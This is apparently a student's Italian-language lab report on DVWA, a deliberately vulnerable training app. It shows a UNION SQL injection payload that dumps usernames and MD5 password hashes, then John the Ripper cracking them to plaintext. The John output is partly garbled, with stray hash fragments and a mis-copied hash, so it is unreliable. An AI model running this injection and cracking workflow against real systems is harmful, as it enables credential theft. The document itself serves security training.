

Relazione S6L3

Durante l'esercizio di oggi l'obiettivo è stato quello di craccare le password degli utenti identificati tramite l'sql injection su dvwa.

Come prima cosa ho effettuato una SQL injection per prendermi gli utenti e le password relative:

Vulnerability: SQL Injection

User ID:

ID: ' UNION SELECT user, password FROM users #
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: ' UNION SELECT user, password FROM users #
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03

ID: ' UNION SELECT user, password FROM users #
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: ' UNION SELECT user, password FROM users #
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: ' UNION SELECT user, password FROM users #
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

Come è possibile osservare le password sono in formato hash quindi vanno trovate quelle originali.

Su kali ho utilizzato hash-identifier per identificare il tipo di hash che è stato utilizzato:

[illegible]

Una volta identificato l'hash MD5 ho utilizzato John per trovare le password originali.

```
(davide@kali)-[~/Desktop]
$ john --show --format=Raw-MD5 dvwa_passwords
?:password
?:abc123
?:charley
?:letmein b5aa765d61d8327deb882cf99
?:password 28cb38d5f268853678923e03
5 password hashes cracked, 0 left
5 b5aa765d61d8327deb882cf99
(davide@kali)-[~/Desktop]
$
```

Come è possibile vedere lanciando il comando con john abbiamo ottenuto le password del database.

Davide Lecci